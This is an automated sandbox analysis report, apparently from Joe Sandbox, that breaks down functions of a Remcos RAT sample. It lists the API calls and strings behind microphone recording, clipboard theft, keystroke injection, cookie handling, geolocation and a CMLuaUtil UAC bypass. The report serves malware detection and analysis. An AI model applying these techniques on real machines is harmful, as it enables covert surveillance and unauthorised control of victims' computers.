Instruction Fuzzy Hash: DC41A639D402199BCB15EBA0DC55AFE7F7AAF10312F8041ACE50A660D0EF352E8DCB91

Uniqueness

Uniqueness Score: -1.00%

Function 16027963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000,00000000,16094EE0,16085FA4,?,00000000,16027FFC,00000000), ref: 160279C5
WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000,?,000186A0,?,?,00000000,16027FFC,00000000,?,?,0000000A,00000000), ref: 16027A0D

Part of subcall function 16024AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 16024B36

CloseHandle.KERNEL32(00000000,?,00000000,16027FFC,00000000,?,?,0000000A,00000000), ref: 16027A4D
MoveFileW.KERNEL32(00000000,00000000), ref: 16027A6A
CloseHandle.KERNEL32(00000000,00000057,?,00000008,?,?,?,?,?,?,?,0000000A,00000000), ref: 16027A95
DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 16027AA5

Part of subcall function 16024B96: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,16094EF8,16024C49,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024BA5
Part of subcall function 16024B96: SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,1602548B), ref: 16024BC3

Strings

.part, xrefs: 16027989

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
String ID: .part
API String ID: 1303771098-3499674018
Opcode ID: dd5cfa850849cf9e83387dfe79a448e1d6a823e634b0831751f6ceb27075d568
Instruction ID: 7142d4cf3f136e91c059d1ac7beb8c2b11d67919bc4c25944a016099d4dd8192
Opcode Fuzzy Hash: dd5cfa850849cf9e83387dfe79a448e1d6a823e634b0831751f6ceb27075d568
Instruction Fuzzy Hash: AA31B2754083519FC354DF20CC949AFBBEAFF94251F804A1DF685A2145EB70EA4CCB96

Uniqueness

Uniqueness Score: -1.00%

Function 1603CD9B Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

AllocConsole.KERNEL32(16095338), ref: 1603CDA4
GetConsoleWindow.KERNEL32 ref: 1603CDAA
ShowWindow.USER32(00000000,00000000), ref: 1603CDBD
SetConsoleOutputCP.KERNEL32(000004E4), ref: 1603CDE2

Strings

Remcos v, xrefs: 1603CDFD
4.9.4 Pro, xrefs: 1603CE0B
CONOUT$, xrefs: 1603CDD0

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Console$Window$AllocOutputShow
String ID: Remcos v$4.9.4 Pro$CONOUT$
API String ID: 4067487056-3065609815
Opcode ID: 9d1f20dacda9875b44cf4e0bf465043c67194f3ed493f68b1ab5cf9f55b72463
Instruction ID: 9140578f7921c6f1d954bb13b4f3c683ff9c7e9b8ec363e4747ef6e83837719c
Opcode Fuzzy Hash: 9d1f20dacda9875b44cf4e0bf465043c67194f3ed493f68b1ab5cf9f55b72463
Instruction Fuzzy Hash: 4D0144B5D913086AD614EBF58D89F8D7FBEAB24703F500491B608E7081E775A51CC7A1

Uniqueness

Uniqueness Score: -1.00%

Function 03F64320 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,03F643E7,?,?,03FC47C8,?,?,03F8B7A8,03F66575,03F8A305), ref: 03F64359
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,03F643E7,?,?,03FC47C8,?,?,03F8B7A8,03F66575,03F8A305), ref: 03F6435F
GetStdHandle.KERNEL32(000000F5,03F643A8,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,03F643E7,?,?,03FC47C8), ref: 03F64374
WriteFile.KERNEL32(00000000,000000F5,03F643A8,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,03F643E7,?,?), ref: 03F6437A
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 03F64398

Strings

Runtime error at 00000000, xrefs: 03F64352, 03F64391
Error, xrefs: 03F6438C

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 914dfa225ccc5e670424395f5fa84a85155a4f2408fa026e6cd9df016710cf1f
Instruction ID: ee3c1a96b9eadfb71750b555368c9023b37d21c0534fbba6f2c6af72d3cac0e5
Opcode Fuzzy Hash: 914dfa225ccc5e670424395f5fa84a85155a4f2408fa026e6cd9df016710cf1f
Instruction Fuzzy Hash: 2DF0B465AD434DBCFE10F3B19E57F9D360C9784B21F544A15B230EA0D6D7A084C4A322

Uniqueness

Uniqueness Score: -1.00%

Function 1606AC49 Relevance: 12.2, APIs: 8, Instructions: 216COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,1605EA24,1605EA24,?,?,?,1606AE9A,00000001,00000001,73E85006), ref: 1606ACA3
__alloca_probe_16.LIBCMT ref: 1606ACDB
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,1606AE9A,00000001,00000001,73E85006,?,?,?), ref: 1606AD29
__alloca_probe_16.LIBCMT ref: 1606ADC0
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,73E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 1606AE23
__freea.LIBCMT ref: 1606AE30

Part of subcall function 16066137: HeapAlloc.KERNEL32(00000000,160552BC,?,?,16058847,?,?,00000000,16096B50,?,1602DE62,160552BC,?,?,?,?), ref: 16066169

__freea.LIBCMT ref: 1606AE39
__freea.LIBCMT ref: 1606AE5E

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 2597970681-0
Opcode ID: 0bc1cd723081d8ab604808cf88c49aeb54c5ec85d8a29f1b674c97631f08d00a
Instruction ID: bcae9fa9066c2bb6fc0ed73b419ebed795a9970a626e5d5a2fd8fb0e3429734e
Opcode Fuzzy Hash: 0bc1cd723081d8ab604808cf88c49aeb54c5ec85d8a29f1b674c97631f08d00a
Instruction Fuzzy Hash: A9518072A10216AFEB15DF67CC80EAB7FEAEB44650F114629FD05D7140EB34EC98C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 16039993 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 160399CC
SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 160399ED
SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 16039A0D
SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 16039A21
SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 16039A37
SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 16039A54
SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 16039A6F
SendInput.USER32(00000001,?,0000001C,?,00000000), ref: 16039A8B

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: InputSend
String ID:
API String ID: 3431551938-0
Opcode ID: b8b04ed68d0058d61b4b2120c7df16c78c5609bb43116b6d34d7b02fd8111234
Instruction ID: 7e27b88fb458ed4ed78265108e2f069afac011ef955c4548a84d9a20fb91dbe1
Opcode Fuzzy Hash: b8b04ed68d0058d61b4b2120c7df16c78c5609bb43116b6d34d7b02fd8111234
Instruction Fuzzy Hash: 103192319583496EE301CF51DD81BEBBFDCEF88B55F00080FF6809A181D2A295C98BA7

Uniqueness

Uniqueness Score: -1.00%

Function 16036940 Relevance: 12.0, APIs: 8, Instructions: 46clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 16036941
EmptyClipboard.USER32 ref: 1603694F
CloseClipboard.USER32 ref: 16036955
OpenClipboard.USER32 ref: 1603695C
GetClipboardData.USER32(0000000D), ref: 1603696C
GlobalLock.KERNEL32(00000000), ref: 16036975
GlobalUnlock.KERNEL32(00000000), ref: 1603697E
CloseClipboard.USER32 ref: 16036984

Part of subcall function 16024AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 16024B36

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
String ID:
API String ID: 2172192267-0
Opcode ID: b432726aeebcaea2972fd23be753589a16f10f75d6c88533c03fa57dddb66c92
Instruction ID: 074e152257f8cb14f635fa47c5efc4fcf3dae929bd7ef5ed4b1ae7881d613aa6
Opcode Fuzzy Hash: b432726aeebcaea2972fd23be753589a16f10f75d6c88533c03fa57dddb66c92
Instruction Fuzzy Hash: 330175352142109FD718EB71CC9866E7BBBBFA4602F81052DF68A95594EF319808C661

Uniqueness

Uniqueness Score: -1.00%

Function 16069190 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 16069212
_free.LIBCMT ref: 16069236
_free.LIBCMT ref: 160693BD
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,1607F234), ref: 160693CF
WideCharToMultiByte.KERNEL32(00000000,00000000,16092764,000000FF,00000000,0000003F,00000000,?,?), ref: 16069447
WideCharToMultiByte.KERNEL32(00000000,00000000,160927B8,000000FF,?,0000003F,00000000,?), ref: 16069474
_free.LIBCMT ref: 16069589

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: fcd6044f8ddf5def3fe4043ca6baf4efc8e1fe4cb5f93185b4de8684cfe9e391
Instruction ID: b6a3e7600180242430d89daf01126257b665124b10ef0507f0d6ca03cd3eedb7
Opcode Fuzzy Hash: fcd6044f8ddf5def3fe4043ca6baf4efc8e1fe4cb5f93185b4de8684cfe9e391
Instruction Fuzzy Hash: 70C10775D002579BDB04CF7ACC80ADEBFFAEF46210F15459AD998A7680E7309E49CB60

Uniqueness

Uniqueness Score: -1.00%

Function 16070A25 Relevance: 10.7, APIs: 7, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 16070A94
_free.LIBCMT ref: 16070AA2
_free.LIBCMT ref: 16070BD0
_free.LIBCMT ref: 16070BDB

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: bf786b7c4d987300cff2942385b075560642423eb7af694c69dc5b57fb0c6b48
Instruction ID: 0685ba31ce1bc7c8e81f5dbf49198f3a38ece94d3521787aa3ead4c851cc5c3b
Opcode Fuzzy Hash: bf786b7c4d987300cff2942385b075560642423eb7af694c69dc5b57fb0c6b48
Instruction Fuzzy Hash: 3861B0B9D00255AFDB10CF69CC41B9EBFF6EB05710F1042AAE995EB241E630BE45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 1606B3BC Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,?,1606BB31,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 1606B3FE
__fassign.LIBCMT ref: 1606B479
__fassign.LIBCMT ref: 1606B494
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 1606B4BA
WriteFile.KERNEL32(?,FF8BC35D,00000000,1606BB31,00000000,?,?,?,?,?,?,?,?,?,1606BB31,?), ref: 1606B4D9
WriteFile.KERNEL32(?,?,00000001,1606BB31,00000000,?,?,?,?,?,?,?,?,?,1606BB31,?), ref: 1606B512

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 6aaad67f51c211b5f2a3810d20f4a1bfb92f257a25ad5a31741b2335daab1a5b
Instruction ID: 7f18812a855b9e38a52fcbc4116ca46d58d674a1a5ff5809b7d247425d24fc28
Opcode Fuzzy Hash: 6aaad67f51c211b5f2a3810d20f4a1bfb92f257a25ad5a31741b2335daab1a5b
Instruction Fuzzy Hash: C551B3B1E00649AFDB14CFA9C881BEEBBF9FF18300F10415AE955E7281E770A955CB60

Uniqueness

Uniqueness Score: -1.00%

Function 16021D0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

_strftime.LIBCMT ref: 16021D50

Part of subcall function 16021A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 16021AD9

waveInUnprepareHeader.WINMM(16092A88,00000020,00000000,?), ref: 16021E02
waveInPrepareHeader.WINMM(16092A88,00000020), ref: 16021E40
waveInAddBuffer.WINMM(16092A88,00000020), ref: 16021E4F

Strings

.wav, xrefs: 16021D69
%Y-%m-%d %H.%M, xrefs: 16021D41

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
String ID: %Y-%m-%d %H.%M$.wav
API String ID: 3809562944-3597965672
Opcode ID: 5c7f9f394dd29ffeb37a4792bc4daf9cd1dc6fdd82afbd75e380935d677762ea
Instruction ID: 97bb0a10c206e135255659e1ad1d51f8ebf83ba0f41560f73cd45a1fee4b0c9c
Opcode Fuzzy Hash: 5c7f9f394dd29ffeb37a4792bc4daf9cd1dc6fdd82afbd75e380935d677762ea
Instruction Fuzzy Hash: 133152395543519FC368DB20CC94A9F7BEBBF64212F80846DE29D92190EF30A94DCB95

Uniqueness

Uniqueness Score: -1.00%

Function 1602BEE9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 160335A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 160335CA
Part of subcall function 160335A6: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 160335E7
Part of subcall function 160335A6: RegCloseKey.ADVAPI32(?), ref: 160335F2

ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 1602BF6B
PathFileExistsA.SHLWAPI(?), ref: 1602BF78

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders, xrefs: 1602BF02
[IE cookies not found], xrefs: 1602BF40
[IE cookies cleared!], xrefs: 1602BFC5, 1602BFEA
Cookies, xrefs: 1602BEFD

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
API String ID: 1133728706-4073444585
Opcode ID: 6cf06467e9ee5ed260c6c6c8efec6ae6190621be7bfc5be91f460595265f5c3a
Instruction ID: 1638a84694efc7688855c77e65f3cadbb756f9de609734c2a4770aa146afe2b2
Opcode Fuzzy Hash: 6cf06467e9ee5ed260c6c6c8efec6ae6190621be7bfc5be91f460595265f5c3a
Instruction Fuzzy Hash: 27218579D501295ACB04E7F0CCA58FF7F6AAF55206FC1019CE90667181EF21A98DCBD1

Uniqueness

Uniqueness Score: -1.00%

Function 16076B53 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dce10c904f6bbbcb8c0a83755a0c4791f660742f2d6dc126b839ba74a8673176
Instruction ID: 84e32fab5bba1d413fc35cada33b43df6cd2f05704350173f5d7574a2c72fef4
Opcode Fuzzy Hash: dce10c904f6bbbcb8c0a83755a0c4791f660742f2d6dc126b839ba74a8673176
Instruction Fuzzy Hash: FC11E775524229FBDB10DF768C4495F3EAEEF82321B000615F896D6140DA30A849C6B4

Uniqueness

Uniqueness Score: -1.00%

Function 1603B380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 1603B3A7
InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 1603B3BD
InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 1603B3D6
InternetCloseHandle.WININET(00000000), ref: 1603B41C
InternetCloseHandle.WININET(00000000), ref: 1603B41F

Strings

http://geoplugin.net/json.gp, xrefs: 1603B3B7

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead
String ID: http://geoplugin.net/json.gp
API String ID: 3121278467-91888290
Opcode ID: 61de168f368d83c336cf3b6dda76be6c9aff27a3334e6c40f539a12488d3bbc4
Instruction ID: 822af8cced4fa730ec807680465423187202be1336aff4770481a77d8da074d9
Opcode Fuzzy Hash: 61de168f368d83c336cf3b6dda76be6c9aff27a3334e6c40f539a12488d3bbc4
Instruction Fuzzy Hash: F7110A355063226BD228EB258C88DAF7FEDEF85661F40053DF945A2140DB64A80CC6B2

Uniqueness

Uniqueness Score: -1.00%

Function 16070EFA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 16070C41: _free.LIBCMT ref: 16070C6A

_free.LIBCMT ref: 16070F48

Part of subcall function 16066782: HeapFree.KERNEL32(00000000,00000000,?,16070C6F,?,00000000,?,00000000,?,16070F13,?,00000007,?,?,1607145E,?), ref: 16066798
Part of subcall function 16066782: GetLastError.KERNEL32(?,?,16070C6F,?,00000000,?,00000000,?,16070F13,?,00000007,?,?,1607145E,?,?), ref: 160667AA

_free.LIBCMT ref: 16070F53
_free.LIBCMT ref: 16070F5E
_free.LIBCMT ref: 16070FB2
_free.LIBCMT ref: 16070FBD
_free.LIBCMT ref: 16070FC8
_free.LIBCMT ref: 16070FD3

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
Instruction ID: 3f700f11bf8ec249953176d686a430f86c5c99655f4c4eb1704da83b46c815bd
Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
Instruction Fuzzy Hash: E61184B9540744BAD520EB70CC55FCB7F9EEF00702F404D28BAEF66150D6A4B908D765

Uniqueness

Uniqueness Score: -1.00%

Function 1605A35A Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,1605A351,160592BE), ref: 1605A368
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 1605A376
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 1605A38F
SetLastError.KERNEL32(00000000,?,1605A351,160592BE), ref: 1605A3E1

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 7541de4cc1b66202deab38c0f4b7c635e333bdec34bc6e36897d2069d3bf9a59
Instruction ID: e9a237682a4c30b80d68390afa2374dbe38fbcc0028bfa7ff1fde649230ab96f
Opcode Fuzzy Hash: 7541de4cc1b66202deab38c0f4b7c635e333bdec34bc6e36897d2069d3bf9a59
Instruction Fuzzy Hash: 1001283261C3729FE30D96745CC465B2E9BEB512BAB22032DFE18510D0EFD21898D180

Uniqueness

Uniqueness Score: -1.00%

Function 160275B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,00000000,C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe), ref: 160275D0

Part of subcall function 160274FD: _wcslen.LIBCMT ref: 16027521
Part of subcall function 160274FD: CoGetObject.OLE32(?,00000024,16086518,00000000), ref: 16027582

CoUninitialize.OLE32 ref: 16027629

Strings

[+] ucmCMLuaUtilShellExecMethod, xrefs: 160275B5
[+] ShellExec success, xrefs: 1602760E
[+] before ShellExec, xrefs: 160275F1
C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, xrefs: 160275B0, 160275B3, 16027605

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: InitializeObjectUninitialize_wcslen
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
API String ID: 3851391207-2688265908
Opcode ID: 2f4ef96253ef5ce7368c58dd06110bde11c454733b49a080fd0919a335024d4d
Instruction ID: 7481ea6f979909e8606a31cc351b6ec80a948179f1dd187c3f4c247ec6d111f5
Opcode Fuzzy Hash: 2f4ef96253ef5ce7368c58dd06110bde11c454733b49a080fd0919a335024d4d
Instruction Fuzzy Hash: 6D01DE726002216FE228CB29DC8DEBB3F9DDF80726F51051EF94486182EB51EC08C661

Uniqueness

Uniqueness Score: -1.00%

Function 03F6AE80 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 03F6ACF8: VirtualQuery.KERNEL32(?,?,0000001C), ref: 03F6AD15
Part of subcall function 03F6ACF8: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03F6AD39
Part of subcall function 03F6ACF8: GetModuleFileNameA.KERNEL32(03F60000,?,00000105), ref: 03F6AD54
Part of subcall function 03F6ACF8: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 03F6ADEA

CharToOemA.USER32(?,?), ref: 03F6AEB7
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 03F6AED4
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03F6AEDA
GetStdHandle.KERNEL32(000000F4,03F6AF44,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03F6AEEF
WriteFile.KERNEL32(00000000,000000F4,03F6AF44,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 03F6AEF5
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 03F6AF17
MessageBoxA.USER32(00000000,?,?,00002010), ref: 03F6AF2D

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
